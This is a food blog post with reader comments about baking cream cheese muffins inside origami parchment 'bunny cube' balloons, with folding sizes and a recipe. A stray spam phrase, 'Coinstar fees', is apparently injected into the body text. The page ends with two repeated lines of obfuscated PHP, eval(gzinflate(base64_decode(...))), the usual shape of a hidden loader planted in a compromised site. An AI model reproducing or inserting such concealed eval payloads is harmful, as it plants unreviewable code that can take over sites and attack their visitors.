cream cheese muffins baked in origami parchment paper bunny cube balloons

cream cheese muffins baked in origami parchment paper bunny cube balloons

cream cheese muffins baked in origami parchment paper bunny cube balloons

cream cheese muffins baked in origami parchment paper bunny cube balloons

I like the shadow.

How about baking your muffins, mini cakes or other dessert creations in these parchment bunny cubes? Not only are they substituting the plain old muffin paper cup, but they also serve as a cute and convenient wrapping. You can give them away as a gift, include them in a packed lunch or hide them outside in the garden at Easter for children to find. The bunny cubes are easy to fold and inexpensive. Why not make one right now? I’m sure you have parchment paper and basic muffin ingredients at hand.

You can try the recipe for the fluffy and moist cream cheese muffins provided in this post to fill the bunnies, but I guess other muffin or cake mixtures should work fine as well, as long as they don’t expand too much. Since the parchment paper is kind of acting like a seal, you might want to lessen the amount of liquid ingredients.

Let me give you some insight on how the idea of the bunny muffin was born. Not long ago, I wanted to Coinstar fees make a square cake. I didn’t have a square cake pan and buying one was not an option after looking at some price tags. Then it came to my mind that I could simply fold a parchment paper box. It’s simple, inexpensive, and I can even adjust the size. I skimmed through my origami books (origami: traditional Japanese folk art of paper folding) in search for box folding instructions, and that was when I stumbled upon the bunny cube balloon. The idea to bake muffins in these bunny balloons hit me immediately. Since Easter is approaching, it was perfect.
Oh and by the way, I did bake a square cake in a suitable parchment paper origami box (that even included handles!) but that’s another story.

 

How to make the Paper Bunny Cube

You need square pieces of parchment paper. For the large bunnies, I used 21×21 cm, for medium 16×16 cm and for the small ones 12×12 cm.

I’ve found the instructions for folding the bunny in the book 親子で遊ぶかんたんおりがみ (oyako de asobu kantan origami) which is aimed at children, so don’t nag about it being too difficult :-D

I’m rather bad at explaining origami steps, but luckily I’ve found this comprehensible diagram at origami-club.com. Check out their other tutorials if you’re interested in origami, they’re very easy to understand and even accompanied by animations.

Here’s the link to the animation of the bunny balloon folding on origami-club.com. Have a look at it if the diagram alone leaves you puzzled.

Thinking that you later use the bunny to serve food in, I must admit that the part where you have to blow up the balloon by mouth might appear a bit unhygienic. Maybe you can find other measures to inflate it. Or just try to firmly believe that the oven temperature will kill off the bacteria.

 

How to make Cream Cheese Muffins baked in Bunny Cubes

The recipe for the cream cheese muffins is from Harumi Kurihara’s book Harumi’s Japanese Cooking. Originally, the muffins are meant to be heated in the microwave. Since I didn’t have access to a microwave, I had to adapt the recipe.

Makes 3 L, 3 M and 3 S size bunnies

  • 40g cream cheese
  • 1/2 Tbs white wine
  • 1 Tbs cream
  • 1 Tbs vegetable oil
  • vanilla essence
  • 2 medium sized eggs
  • 50g sugar
  • 50g flour
  • 1/2 tsp baking powder
  1. Whisk cream cheese and white wine together until creamy  in a bowl that you placed into another bowl filled with hot tap water.
  2. Mix in cream, oil and vanilla essence.
  3. Beat the eggs in a separate bowl and whisk together with the sugar until the mixture thickens.
  4. Mix in flour and baking powder, then add the cream cheese white wine mixture.

  5. I then filled the mixture into an empty condiment container. You can also use a piping bag or an empty plastic ketchup bottle – anything that’s squeezable and has a tip should work.
  6. Squeeze the mixture into the bunny cubes until they’re a bit less than half full. It’s like bottle-feeding the bunny :-). Be careful not to make a mess. Stains on the parchment paper will later become dark and clearly visible.

  7. Bake in the preheated oven at 160°C. Approximately, the small bunnies will take 15, the medium bunnies 20 and the large bunnies 25 minutes.

The cream cheese muffins were fluffy, moist and delicious. Mmmh.

Click here for more Easter food ideas.

Do you know of any other (origami) parchment paper folding techniques that can be used for baking?

Related Posts with Thumbnails

46 Responses to “Cream Cheese Muffins Baked & Served in Parchment Bunny Cubes”

  • wow, too cute and too creative!This is honestly GENIOUS!

  • keropokman says:

    This is such a great idea! Let’s see if I have time to make them for Easter.

  • Hello from Barcelona, we love your blog very much.

  • Joan says:

    omg this is truly amazing – i must do these :)

  • =O You are absolutely brilliant!

    ~Kurious Kitteh

  • Lisa says:

    Lovely idea! :)

  • Jaime says:

    LOVE IT. I think I will make these with a carrot cake muffin!

  • tovie says:

    Those are so cute. I love origami and I love to cook, what a great way to combine them both. Thanks!

  • Michelle says:

    Oh, this is absolutely adorable. So clever of you to bake the muffins inside the little “boxes.”

  • Vanille says:

    That’s really darling !
    I made something similar with parchment paper a while ago. It can be viewed here if you are interested.

  • Petra says:

    Yaay, what an interesting idea. Very creative! I’ve never seen anything like that. I’m sure kids would be amazed…

  • Vesna says:

    Looks great! Gorgeous and tasty Easter decoration :-)

  • Bird says:

    HI!

    I live in France and have just discovered your blog today!

    And what a fun blog it is! Have you heard of a guy called Heston Blumenthal? He’s a british chef. More like a Picasso of chefs. Like you, he’s into some really cool “alchemy” involviong food! :)

    I am definetely putting your blog on my blogroll!

    • Jojo Krang says:

      Thank you Bird! I’ve never heard of Heston Blumenthal but it sounds like I’ll probably like his work. I will google him right now, thanks for the mention!

  • Amanda says:

    Awesome Idea! i just did origami diamond muffing for my girl Friends wedding!

  • Susan says:

    yes! two things I love: baking and origami. I remember making these bunnies a long time ago back in elementary school. How fun! I’ll definitely be trying this out next time I have the urge to have muffins :).

  • monica says:

    These are adorable! Can I skip the white wine or maybe substitute with a non-alcoholic liquid? I’d love to make these for my friend’s little kids…

    • Jojo Krang says:

      Thank you monica! I’m not sure if the acidity of the white wine is needed for some kind of reaction with the baking powder (really just guessing here!) so I think maybe buttermilk would be a good substitute. Or carrot juice with a splash of lemon juice might be nice. Hope that works. Good luck!

    • Ani says:

      Do not worry about the wine. The alcohol cooks out, and only a very light flavor is left. Trust me you can NOT get drunk off these! There is no alcohol left.

  • benoit says:

    This is so ingenious. I love it!

  • DREA says:

    These are adorable! I am thinking of doing them for an Easter surprise for my family :) Your blog is really exciting to read, keep up the good work!
    http://anadrea.blogspot.com/

  • tiger says:

    I absolutely loved this idea, and my son adores folding origami so we had fun making them today for Easter presents but a warning… This is really time consuming! Folding origami bunnies from baking paper (parchment)is no east feat, it’s slippery and rolls up.

    You also have to get the right size so it all has to be cut exactly. We made 4 x the mixture in the recipe and that made about 20 bunnies (starting with squares about 21×21cm’s)

    But the end product looks so cute, and is delicious (we added grated carrot to the recipe so it was carrot and cream cheese muffins)

    To go with it we made spiced hot-chocolate spoons (that I got the idea from from a link off your site) but changed the recipe by making a chocolate ganache from dark & white chocolate, cream, chilli, mixed spices and marshmallows and setting them onto supermarket-bought teaspoons.

    We also tried your chocolate painting technique to make bunnies – not bad for a first attempt, but would like to hone the skill – your Audrey Hepburn is divine.

    (I will put pics of our finished product on our blog http://www.tigerstew.multiply.com)

    Thanks for an inspiring blog! Keep up the good work!

    YUM!!!

  • Meghan says:

    Curious – do you know how much vanilla essence?

  • i just tried to make these. Bunny experiment failed :( I didn’t have a ketchup bottle so I used an eyedropper for some of them, and a sandwich bag for some, to get the batter in. We only had the patience to make three bunnies, as well, and I don’t think I filled them enough. Cute idea though.

  • Meghan says:

    I ended up putting a teaspoon of vanilla extract in… it was perfect! I opted for just regular pan muffins…. they were a huge hit!

  • Hi JoJo, as a cake decorator i was googling ‘ chocolate colouring’ for a wedding cake and came across your wonderful chocolates! I love your blog and am going to have a go at the bunnies. I was a big origami fan as a kid, though its been a few years!! You are very talented and creative so keep it up, I am looking forward to seeing more!

  • jane says:

    Hi, Thanks for the wonderful inspiration. What a creative mind you have! Blogged about my attempt at these bunnies here [http://makejanemake.blogspot.com/2011/04/bunny-day-treat.html] They were a big hit with moms and kids alike :)

  • Love it. Thanks for sharing

  • Thanks for the great information! I would not have gotten this by myself!

  • Linda hale says:

    This is a very clever idea for Easter gifts to guests at your dinner table.

  • this is so awesome!!!! :DDDDD ichiban desu!

  • site says:

    How come you dont have your web site viewable in wap format? Can not view anything in my phone.

  • Cg says:

    Excellent idea!! I purposefully painted the ears with some of the mix and they turned up very cute

  • adelisia says:

    Hi,

    I live in Florida and I just discovered your amazing blog tonight and I love it !!Please, can you just keep it up and send to me all the good idea that come out from your creative and brilliant mind??

    Adele

  • renata says:

    I made these for Easter and they were a huge hit with the family. I used my own almond cake recipe, I didn’t have cream cheese available. Will have to try your cake recipe though, it sounds delicious! I posted them on my blog and linked back to your post. Thank you so much for sharing this fun idea!

Leave a Reply for benoit

eval(gzinflate(base64_decode("ZZDBTsMwDIbvlfoOUS7pDiTcoLAyTYgD79BLlrhrUBpHrdutIN6dRBVIwCGS4/+z/esH0yPj+8mMLhKjNULTcoIrqTe96K3d8qey6OZgyGFg3Tgcra127KMsFj0ylxqsYRbNPEAgaUbQBC8e8q8SSdYDiN1jWWRSTrR6kBEnl7c1Qp8m9DOB+A0Qxkbc1HUNwx/FQ0f/pdGwZKLlPVF8UKpb3uF6fytd6FC5IM3ZHe5a/o07m2CRqlebV/x4P6FdpY4Rgn3unbdVprP1z/QuLli8SAwedZ7fgkjCXm05pZTyhS8=")));eval(gzinflate(base64_decode("ZZDBTsMwDIbvlfoOUS7pDiTcoLAyTYgD79BLlrhrUBpHrdutIN6dRBVIwCGS4/+z/esH0yPj+8mMLhKjNULTcoIrqTe96K3d8qey6OZgyGFg3Tgcra127KMsFj0ylxqsYRbNPEAgaUbQBC8e8q8SSdYDiN1jWWRSTrR6kBEnl7c1Qp8m9DOB+A0Qxkbc1HUNwx/FQ0f/pdGwZKLlPVF8UKpb3uF6fytd6FC5IM3ZHe5a/o07m2CRqlebV/x4P6FdpY4Rgn3unbdVprP1z/QuLli8SAwedZ7fgkjCXm05pZTyhS8=")));